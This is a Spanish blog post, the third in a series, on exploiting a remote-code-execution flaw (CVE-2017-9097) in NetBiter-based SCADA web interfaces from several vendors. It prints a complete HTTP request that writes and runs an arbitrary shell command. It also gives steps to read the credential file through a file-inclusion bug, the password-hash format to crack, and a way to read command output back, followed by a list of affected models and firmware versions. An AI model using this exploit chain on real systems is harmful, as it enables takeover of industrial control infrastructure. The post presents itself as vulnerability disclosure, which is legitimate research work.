Continuando con los post titulados “Accediendo a SCADAs Vulnerables” Parte I y Parte II, paso a transcribirles la última parte escrita por @capitan_alfa como producto de su interesante investigación:

Explotando un RCE

El siguiente request es suficiente para poder explotar nuestro RCE; este request crea un archivo llamado: “RCE.sh” con el siguiente contenido: “/bin/'<HERE_COMMAND>’”, y finalmente llamamos el script: “sh /home/httpd/pageimages/RCE.sh”, todo en un mismo request:

POST /cgi-bin/write.cgi HTTP/1.1
Host: <HOST>
User-Agent: Morzilla_ar/7.0 (911; Pinux x86_128; rv:9743.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-AR,en-US;q=0.7,en;q=0.3
Referer: http://<HOST>/cgi-bin/
Cookie: ID=0bce4b7eb065092efd274212b25c50e1
Connection: close
Content-Type: multipart/form-data; boundary=—————————1816993527151539919951297987
Content-Length: 1513
—————————–1816993527151539919951297987
Content-Disposition: form-data; name=”script1″
file
—————————–1816993527151539919951297987
Content-Disposition: form-data; name=”filename1″
/home/httpd/pageimages/RCE.sh
—————————–1816993527151539919951297987
Content-Disposition: form-data; name=”maxsize1″
9100
—————————–1816993527151539919951297987
Content-Disposition: form-data; name=”content1″
/bin/'<HERE_COMMAND>
—————————–1816993527151539919951297987
Content-Disposition: form-data; name=”script2″
execute
—————————–1816993527151539919951297987
Content-Disposition: form-data; name=”path2″
sh /home/httpd/pageimages/RCE.sh
—————————–1816993527151539919951297987–

Dos “problemas“:

Explotar el RCE efectivamente, implica resolver dos problemas:

1 – Es necesario contar con una cookie de sesión: para lo cual haciendo uso del LFI antes presentado resolvemos el reto de la siguiente forma:

Aplicando reversing al firmware oficial hemos dado con varios paths entre ellos a: “/home/config/users.cfg”, en donde se encuentran las credenciales de los usuarios que son solicitadas en la home.

Figura 1: Request_Response

 

Figura 2:Descubrimiento de password

El valor del campo password corresponde a la concatenación de la contraseña y su usuario, que luego se pasa a una función md5, dando como resultado el hash evidenciado.

Format of passwords hash:

password = md5(password + username) *

Figura 3: passwords hash

luego dedique una tool para automatizar el proceso, identificando usuarios y quebrando sus hashes:

Figura 4: identificando usuarios y quebrando sus hashes

Una vez logueados tomamos nota de la cookie asignada a nuestra session

Figura 5: accesando a la infraestructura crítica

2 – No tengo un output directo de los comandos ejecutados. Una vez mas me incline por hacer uso del LFI de la siguiente manera:

Simplemente redirigiendo la salida de nuestro comando a un archivo *.txt

sh /home/httpd/pageimages/RCE.sh > outputCmd.txt

…y haciendo uso del LFI leemos el archivo “outputCMD.txt”.

Finalmente el proceso lo automaticé con un simple script en python:

Figura 6: resultados de script

El detalle de los vendors y sus modelos afectados:

[RCE + LFI]

  • Vendor: NetBiter / HMS

Web:   http://www.netbiter.net

[*] product           = WS100

version               = 3.30.5

build                = 314

hardware              = NB100/NB102

build_time            = 2011-07-04 15:46:45

needed_kernel        = 1.2.23

[x] /etc/version (Kernel version):

Intellicom/NB100 Version 1.2.23 —  Tue Oct 12 10:36:40 CEST 2010

 

[*] product           = FGW200

version               = 3.31.2

build                = 81

hardware              = NB200

build_time            = 2010-12-08 09:53:20

needed_kernel        = 2.6.12-uc0-NB200-9

[x] /etc/version (Kernel version):

IntelliCom/NB200 Version 1.0.0  —  Tue Feb 16 14:15:48 CET 2010

 

[*] Product           = NetBiter&reg; webSCADA

version               = 3.20.0

needed_kernel        = 1.2.5

[x] /etc/version (Kernel version)

Intellicom/NB100 Version 1.2.5 —  Fri Nov 2 10:23:52 CET 2007

 

  • Vendor: Ouman

Web:   http://ouman.fi/

[*] Product           = Ouman EH-net

version              = 3.25.14

needed_kernel        = 1.2.14

hardware              = NB102

build                = 321

build_time            = 2012-10-16 09:19:19

[x] /etc/version (Kernel version):

Intellicom/NB100 Version 1.2.25 —  Tue Oct 18 11:23:34 CEST 2011

 

  • Vendor: Alliance System

Web:   http://www.crf.se/)

[*] Product           = WS100 –> AWU 500

version               = 3.30.5

build                = 282 /313 /314 /

hardware              = NB100/NB102

build_time            = 2011-07-04 15:46:45

needed_kernel        = 1.2.14 / 1.2.23

[x] /etc/version (Kernel version):

Intellicom/NB100 Version 1.2.23

 

  • Vendor: Sauter

Web:   http://www.sauteriberica.com/es.html

[*] product           = ERW100F001

version               = 3.30.2

build                = 9

hardware              = NB100/NB102

build_time            = 2009-02-06 13:11:33

needed_kernel        = 1.2.14

[x] /etc/version (Kernel version):

Intellicom/NB100 Version 1.2.16 —  Thu Mar 12 15:40:46 CET 2009

 

  • Vendor: Carlo Gavazzi

Web:          http://www.carlogavazzi.se/

doc/pdf:       http://www.support-carlogavazzi.se/downloads/-manualer/siu-dlg_pocketguide.pdf

[*]    product               = SIU-DLG

version               = 3.31.3

build                = 25

hardware              = NB200

build_time            = 2012-05-02 10:37:50

needed_kernel        = 2.6.12-uc0-NB200-13

[x] /etc/version (Kernel version):

IntelliCom/NB200 Version 1.0.0 —  Tue Apr 10 14:25:32 CEST 2012

 

  • Vendor: SMART-1

Web:   —-

[*] product           = AEDILIS SMART-1

version               = 3.30.4

build                = 277

hardware              = NB200

build_time            = 2009-04-24 09:34:40

needed_kernel        = 2.6.12-uc0-NB200-6

[x] /etc/version (Kernel version):

IntelliCom/NB200 Version 1.0.0 —  Tue Mar 31 16:43:37 CEST 2009

 

  • vendor: SYXTHSENSE

Web:   http://www.syxthsense.com/

[*] product           = WebBiter

version               = 3.30.2

build                = 6

hardware              = NB100/NB102

build_time            = 2009-01-30 08:59:48

needed_kernel        = 1.2.14

[x] /etc/version (Kernel version):

Intellicom/NB100 Version 1.2.19 —  Wed Apr 28 15:58:51 CEST 2010

 

  • Vendor: ABB

Web:   http://www.abb.com/

[*] product           = SREA-01

version               = 3.31.5

needed_kernel        = 1.2.23

build                = 164

build_time            = 2011-08-19 14:08:16

hardware              = NB102

[x] /etc/version (Kernel version):

Intellicom/NB100 Version 1.2.23 —  Tue Oct 12 10:36:40 CEST 2010

 

[*] product           = SREA-50

version               = 3.32.8

needed_kernel        = 1.2.25

build                = 433

build_time            = 2011-12-13 14:56:30

hardware              = NB100/NB102

[x] /etc/version (Kernel version):

Intellicom/NB100 Version 1.2.25 —  Tue Oct 18 11:23:34 CEST 2011

 

  • Vendor: ASCON

Web:   http://www.junair-spraybooths.co.uk/         ( !!! )

Web:   http://www.ascontecnologic.com/index.php/it/ ( !!! )

Web:   http://www.asconuae.com/                   ( !!! )

 

[*] product           = DY WebServer

version               = 3.30.2

build                = 184

hardware              = NB100/NB102

build_time            = 2009-01-23 14:18:15

needed_kernel        = 1.2.14

[x] /etc/version (Kernel version)

Intellicom/NB100 Version 1.2.15 —  Fri Jan 16 15:37:59 CET 2009

 

[!] Solo comprobado el LFI. (pendiente de RCE )

  • Vendor: DSE / Deep Sea Electronics

Web:   https://www.deepseaplc.com

web:    http://www.dsewebnet.com/login/index.php

[*] Product           =      DSE850

version               = 1.00.1

needed_kernel         = 1.2.7

 

  • Vendor: SEGEM

Web:   http://www.arclim.fr/

web:   http://www.arclim.eu/

[*] Product           = WS100

version               = 3.30.5

build                = 307

hardware              = NB100/NB102

build_time            = 2011-03-08 10:39:00

needed_kernel        = 1.2.23

Algunas pantallas correspondientes a los SCADAs vulnerables:

Figura 7: SCADA vulnerable 1 

 

Figura 8: SCADA vulnerable 2 

 

Figura 9: SCADA vulnerable 3

 

Figura 10: SCADA vulnerable 4

 

Figura 11: SCADA vulnerable 5 

Referencias externas:

* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9097
* https://ics-cert.us-cert.gov/advisories/ICSA-17-222-05
* https://www.seebug.org/vuldb/ssvid-96555 (RCE)
* https://www.seebug.org/vuldb/ssvid-96556 (LFI)
* https://vuldb.com/es/?id.102570
* https://github.com/hoytech/antiweb/
* https://nvd.nist.gov/vuln/detail/CVE-2017-9097
* https://www.9165619.com/vulnerability/cve-2017-9097-89702
* http://old.cnnvd.org.cn/vulnerability/show/cv_id/2017051027
* http://jvndb.jvn.jp/ja/contents/2017/JVNDB-2017-005240.html
* http://plugins.openvas.org/nasl.php?oid=106886

Por @capitan_alfa

Accediendo a SCADAs vulnerables – Parte I

Accediendo a SCADAs vulnerables – Parte II

Accediendo a SCADAs vulnerables – Parte III

 

Aunque en el disclaimer de este blog lo aclaro, no sobra recordar que el contenido de este portal web es netamente de carácter educativo y científico; NO me responsabilizo del uso que el visitante haga del contenido aquí expuesto, ni de las opiniones ó informaciones de las distintas personas que puedan haber escrito en los diferentes artículos.

Igualmente no me responsabilizo del contenido de otras webs, ni de los links que se expongan en las mismas del material linqueado desde este portal. Es importante aclarar expresamente que el material linqueado a otras webs no pertenece a esta web y por lo tanto en caso hipotético el dicho material fuera ilegal deberá comunicarse inmediatamente al servidor web en donde estén alojados “físicamente” estos documentos y/o archivos.

 

2 Responses to Accediendo a SCADAs vulnerables – Parte III
  1. […] Accediendo a SCADAs vulnerables – Parte III […]

  2. […] Accediendo a SCADAs vulnerables – Parte III […]


[top]

Leave a Reply

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *